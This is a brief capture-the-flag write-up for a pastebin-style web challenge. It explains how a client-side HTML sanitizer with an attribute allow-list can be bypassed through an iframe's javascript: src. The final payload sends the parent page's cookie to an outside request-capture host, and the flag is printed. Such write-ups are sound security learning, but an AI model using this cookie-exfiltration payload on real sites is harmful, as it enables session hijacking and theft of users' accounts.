This seems to be similar to web/static-pastebin, with the exception that we can add few HTML tags and attributes, Digging into the souce code reveals this 'sanitize' function which performs client side sanitization of input txt
```function sanitize(element) {    const attributes = element.getAttributeNames();    for (let i = 0; i < attributes.length; i++) {        // Let people add images and styles        if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {            element.removeAttribute(attributes[i]);        }    }
    const children = element.children;    for (let i = 0; i < children.length; i++) {        if (children[i].nodeName === 'SCRIPT') {            element.removeChild(children[i]);            i --;        } else {            sanitize(children[i]);        }    }}```From the script, we understand that we can have any tag, ( except <SCRIPT> as it gets removed ), and few attributes Sending the same payload as before won't work because onerror attribute is not allowed.
Playing around with it , I found that iframes with src attribute are possible.
`<iframe src="javascript:alert(1)">`For extracting the cookie, I wrote the following payload, which redirects the iframe to a known URL with the parent sites cookie in query string
`<iframe src="javascript:document.location='https://anandu.free.beeceptor.com/?c'+this.parent.document.cookie+'>'"></iframe>`And we get the flag as flag{wh0_n33d5_d0mpur1fy}